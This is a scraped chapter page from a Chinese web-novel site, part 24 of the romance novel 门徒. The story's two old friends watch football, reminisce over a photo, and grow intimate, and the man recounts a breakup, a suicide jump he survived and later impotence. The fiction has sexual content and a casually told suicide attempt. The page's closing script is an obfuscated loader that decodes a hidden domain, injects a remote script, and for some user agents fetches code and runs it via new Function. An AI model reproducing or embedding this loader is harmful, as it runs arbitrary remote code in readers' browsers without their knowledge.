69书包网

阅读记录  |   用户书架
上一章
目录 | 设置
下一页

门徒第24部分阅读(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |
电影推荐:红发女郎 
热门推荐: 快穿:这个女配她又冷又飒

('门徒 作者:牛笔

门徒第24部分阅读

球衣,18号,金色轰炸机当年的号码。

只用了一眼,魏大大就看出来了,包露没戴胸罩。

再往下面看,除了修长雪白的大腿,魏总没看到别的东西。此时此刻,摆在魏大大面前唯一的问题是,这妞到底穿了内裤没

不管怎么说,这样一个看起来只罩了一件球衣,稍微弯腰就会春光乍泄的高挑美女,已经足以让很多人充血了。

魏谢转移了注意力,看了看这颇有点小资情调的屋子。实际上,他主要是看墙上的挂钟,才9点30比赛要凌晨才开打,莫非俩人得做两个小时的热身运动先

包露很尽地主之谊,问:“喝点什么”

魏谢回过神来,说:“什么都不想喝。”

包露自作主张:“不行,喝酒吧,跟以前一样。”

魏谢突然笑了,98世界杯的时候,两人也一起看过球。那时候一边看一边喝酒,那时候魏大大也很讲江湖道义。就在决赛法国对巴西的那天晚上,魏谢本来想很不讲道义地做点什么,结果包露巍然不动,他却醉倒了。

两人坐在客厅沙发上喝了一杯,包露俏脸已经是酡红一片,嚷嚷道:“不行,这样没感觉,还是想从前那样,到床上喝去”

于是魏谢跟着包露进了香闺,望着墙壁上稍微小一些的液晶电视,魏大大很有感慨:“你家电视机还真多”

包露已经盘坐在床上,很巧妙地拉着球衣下摆掩盖住隐私部位,但这短短的球衣总是很难完全掩盖住春光,诱人的腿跟完全暴露出来了正因为这样,才更加诱人。

换了以往,魏大大很可能先来个饿虎扑羊找找感觉。但今天不行,他明显地感觉到自己的腰背还隐隐作痛,想起医生叮嘱的不能剧烈运动,魏总现在满脑子的问号:有什么体位既能少量运动,又能叉叉圈圈得很嗨皮呢

盘坐在包露旁边,魏谢感慨万千。当年自己可以天真无邪,或者说有贼心没贼胆地,保持风度和包露一起看球赛看电影,但是现在还能这样吗

成长的其中一个代价就是,一对二十多岁的男女在一张床上过了一夜,说两人之间什么事儿没发生都没有人相信。

这个世界很奇怪,同样一件事情,被时间打下烙印后,就变成了两个极端。

就仿佛网络刚刚兴起的时候,被誉为洪水猛兽,那时候经常听到的一句话是:“哇,你居然会上网”

而现在,听到的只有这句充满鄙夷的话:“靠,你居然不会上网”

包露静静看着魏谢发呆,她自己也在发呆,但看表情似乎有点陶醉,仿佛在缅怀着什么。印象中的魏谢并不是每个时候都那么多说不完的话,在某些时候,他显得专注而沉默。

这个男人没有令人钦羡的丰神俊朗,也没有什么天生就能倾倒众生的气质,但不英俊并不代表着不潇洒,没有王者之气不代表没有魅力。在某些时候,他看起来安静而内敛,干净而让人感到舒适,仅此而已。

都说专注的人最好看,包露比较相信这句话。只是魏大大专注的时候太少,让人觉得遗憾。

记忆中第一部和魏大大一起看的片子是这个杀手不太冷。那时候魏谢说,你要是不知道leon是谁,会被人怀疑没看过电影的。

女主角:“人生总是如此艰难,还是只有少年时代是这样”

男主角:“总是这样。”

包露有些怀疑自己是个宿命论者,她如今记得的只有这段对白。当时被这句话深深触动,一个预感油然而生,似乎注定了自己的未来。

因为人生的确如此艰险,一如她这些年经历的苦难。

在某个喜欢冒充文艺青年的年代,魏谢曾经故作深沉地送给包露一句话:“每个人都是上帝咬过一口的苹果,如果你觉得自己缺陷越大伤痛越深,那只证明上帝对你的偏爱越多。”

包露想,或许自己真是那个被咬过一大口的苹果。

不得不承认,魏大大某些时候是很有点恶趣味的。比如说,他很喜欢偷偷观察姑娘们闺房中的摆设。

都说研究一个人的品位,看他的卧室布置就明白了。这话有一定的道理,研究一个女人也是如此。不过魏谢对品位之类虚无缥缈的东西不是很感兴趣,他只是相信从某些小细节上能看出主人的性情,仅此而已。

当看见床头柜上那张照片时,魏谢本能地感应到自己的心脏抽搐了一下。

这张照片用小而精致的黑色相框镶起来了,证明包露很珍视它。相框擦的很安静,摆放的位置很随意,可以想象包露也许经常捧在手中观看。这相框摆在床头柜,证明包露很在乎;或许是知道自己要来故意摆上去的,那更证明她在乎自己,不管是出于什么样的动机这张照片,是高中毕业时魏谢与包露的合照。

挪动着身躯,魏谢拿起相框。他脸上的笑容很写意,问:“你还留着呢”

包露扭头认真看着魏谢,她的表情有些严肃:“怎么,你那张已经丢掉了”

“没有,放在相册里,没有像你这样独立出来”魏谢淡淡说着,选了一个舒服的姿势躺在床上,举着相框细细凝视。

包露笑了笑,似乎魏谢的答案已经让她很满意了。有时候一个女人的要求就这么简单。她躺在旁边,和魏谢一起仰望照片中的少男少女,过往的青春似乎扑面而来。

只是两人的心情似乎有很大不同。

那时候的自己真tm年轻啊魏大大感慨着,不能自已。

看得出来,那时候的魏同学很有点马蚤包,留着一头中长的碎发,据说这是当年最拉风的发型。两鬓有着长长的耳发,额前还有一撮不安分的头发隐隐盖住了右眼。

再摸了摸现在的冷酷越狱头,魏谢傻笑起来,突然想起了水木年华的一句歌词:只有时间不会说谎,只有时间能带走一切。

年轻真好,遗憾的是好的东西往往都留不住。留住了也不会太长久,没人可以阻挡时间前进的步伐。这是时光对生命开的一个巨大的玩笑。

即便是眼下,时间依然在飞速地流逝着。

不知道过了多久,魏谢突然懒洋洋道:“我想自己该多拍几张照片了。”

包露讶然:“你不是最讨厌拍照吗”

魏谢:“那是以前。”

包露:“以前怎么想的”

魏谢:“那时候装逼呗,别人都做的事情,自己就不屑去做。”

包露突然拍在了魏谢胸口,低头凝视着他:“真是这样”

瞥见了佳人胸前暴露出来的半截雪白圆球,魏大大却显得很镇定。这时候似乎没什么心情想别的,他喃喃道:“大致上是这样,也可能是害怕以后看到照片想起一些事情,会让自己难过。”

包露:“那现在呢,你怎么想的”

魏谢淡然一笑:“现在,我还真想瞧瞧这世界上到底有什么人什么事儿能让我难过”

包露:“这么坚挺”

魏谢:“呵呵,也不全是这样。刚才我突然在想,等到我50岁的时候,突然想看自己25岁是什么样子。结果却连一张照片都找不到,你说,这会不会让人觉着很遗憾很悲哀”

包露:“想那么远干嘛”

魏谢扬了扬手里的相框:“你看,这是我们七八年前照的。当时可能觉着无所谓,但现在看起来感觉就完全不一样了。人这辈子有几个七八年呢,不是我想去琢磨太遥远的事情,是现实让我突然想起了这些”

包露:“说的也是,要不,我们现在就拍几张”

“好啊,马上就拍。”魏谢掏出了手机,摄像头对准两人,不由感慨这个高科技的社会拍照真他妈方便。

“不行,这样多没意思呀,你得换个造型。”包露站了起来,走向衣柜,将一条黑色的短裤扔在魏谢身上,说:“你穿这个拍”

这是和包露球衣配套的球裤,左边裤腿上还印着一个18号的字样。所幸包露买的这套球衣挺宽大的,魏谢穿上那条裤子刚合适。

看着魏大大裸露的背上的伤痕,包露一惊:“你这些伤疤在哪儿弄的我上次怎么没发现”

魏谢也不打算瞒这多年老友了,简单地说了下经过。

包露大笑过后,表现得很气愤:“那妞也太傻了,她最后跑掉了没”

魏谢:“应该跑掉了吧,没跑掉老子真要恨她一辈子。”

包露:“你是打算让她跑掉了,以后找机会以身相许吧。”

魏谢:“得,就一模糊的人影儿,谁知道她长得像芙蓉还是如花啊。还是算了,最好这姑娘能修炼成仙,下辈子再来报答我,反正哥们儿这辈子也不缺美女,哈哈”

“瞧你臭美的。”包露轻淬了一声,然后不解道:“为什么要下辈子呀”

魏谢很无奈地看着她:“没看过白蛇传吗,许仙救了白蛇,然后白娘子千年后来报恩。我就琢磨着,下辈子哥们儿要是混不下去了,这位神仙姐姐再来救苦救难吧”

包露:“你还真越想越长远了,不扯啦,快拍照”

说完搂着魏谢的脖子,两人跟拍大头贴似的,摆了很多造型,拍了很多张照,一时快乐单纯的像是青涩年华中的少男少女。

然后两人缠在一起,拥吻着,爱抚着,如胶似漆,像是海绵遇到了水滴。

在这种温情暧昧的氛围下,包露突然问了一个破坏气氛的问题。也许她觉着魏谢现在心情不错,问了他也不会生气。于是她说:“有个问题我一直想问,你跟朵朵那么好,那时候好多人羡慕你们,为什么会分开”

魏谢一怔,然后很平静:“我也想问为什么。”

包露糊涂了:“你自己都不知道”

魏谢:“我知道,但我一直觉着这理由太扯淡了。”

包露:“到底怎么回事”

魏谢:“因为我出轨了。”

“不可能呀,那时候你不是说朵朵一定是你非娶不可的真命天女吗你眼里除了朵朵哪还会容得下别的女人”包露很惊讶,她觉着自己当年都勾搭不到魏谢,别人肯定也不行。

魏谢笑得有点苦涩:“那天铁子刚从部队回来,喝高了,然后大家高喊着我们就是东滛西贱南荡北色集体去嫖妓后来被朵朵知道了。”

包露啼笑皆非地看着魏谢,笑骂道:“你活该”似乎又觉得这样就分手了似乎也有点牵强,于是她接着问:“逢场作戏而已,你就没求朵朵原谅你小子嘴那么能侃的。”

魏谢表情沉痛:“现在看起来这事儿是逢场作戏,当初那个年纪就未必了,别忘了我当时已经是背着严重警告还记了大过的人我去求了,然后越描越黑,反正结果也就那样了”

眼里闪烁着有些异样的光芒,包露幽幽叹息了一声:“可惜了”

没成想魏谢突然望着她,问:“如果我说那天晚上我什么都没做,你信不信”

包露愕然,沉默了很久,说:“我信。”

魏谢笑了,笑得有点悲怆,他说:“你的眼睛告诉我,其实你不信”

呆滞了足足十多秒,包露粉拳砸着魏谢的胸口,嗔怒道:“得,以后不配合你了,将来可别说姐姐不够义气呀”

“算了,你还是配合我吧。”魏谢恢复了滛荡本色。

眼里闪过一抹疼惜,包露问:“那后来呢,你是怎么熬过来的”

魏谢似乎有些不愿意回答这个问题,随口道:“还能怎么样,跟广大失恋的人民群众一样呗,该怎么过还得怎么过,这世道也没谁离开了谁就活不下去”

包露一瞪眼:“我要听细节”

魏谢愕然:“什么细节难道你要我很抒情地说,我一边流着泪一边学会坚强”

包露暴走了:“姓魏的,再这么不正经,姐姐就跟你绝交了”

魏谢:“好吧,我坦白。有一天我找了一个风景秀丽,离天空很近的地方。那天我心情很嗨皮,觉着自己快解脱了,然后我就闭着眼睛跳了下去在半空中的时候,我突然觉着这么走了很不值,还有很多事情没去做,很多理想没去完成。于是我来了一个难度系数3.8的凌空翻,居然安全落地了这大概是天意,所以那天我一直向北走,随便买了张火车票,离开了这座城市”

这轻描淡写的话,每一个字眼都震撼着包露的神经。突然狠狠抱住了魏谢,包露终于失去了淑女风范,哽咽着来了一句粗口:“你你真他妈是一傻逼”

哪知道魏大大一点都不生气,反而搂着包露回应了一句:“我也是这么想的”

包露抽泣了很久,颤抖着声音问:“后来呢”

魏谢:“后来很诡异,很扯淡,很搞笑说了你也不信。”

包露变得有点小鸟依人了,撒娇道:“快说,人家想听。”

魏谢老脸难得地红了红,说:“后来我不举了”

“去你的,正经点不行呀”包露给了魏谢一拳。

魏大大一脸正经:“你看我这模样,像是在开玩笑”

包露一怔,魏谢这模样还真不像在说谎,惊讶地看着魏谢,嗫嚅着道:“我听说有的男人跟心爱的女人分开后,从此就不能不能葧起了,这是真的”

魏谢也不回避这个尴尬的问题了:“我不知道别人怎么样,反正我我就那样了。”

包露原本很担忧,突然想起魏谢现在已经很坚挺了,于是松了口气问道:“那你后来怎么又好了”

魏谢语气很平静:“大概两年后吧,遇到了一个很有意思的女人,然后就突然好了再然后,哥们儿就变成妇女之友了”

说完这话,魏谢心里淌过一股暖流,他突然想起了七七。魏谢一直认为七七在他生命中扮演着一个很重要的角色,这并不是一句空话。

接下来包露也不多问了,聪明如他自然能够猜到。露出一个很邪恶的笑容,包露语气很诱人:“还好你小子命大,不然姐姐我今晚的阴谋就不能得逞了”

魏谢有点没反应过来:“你想干什么”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};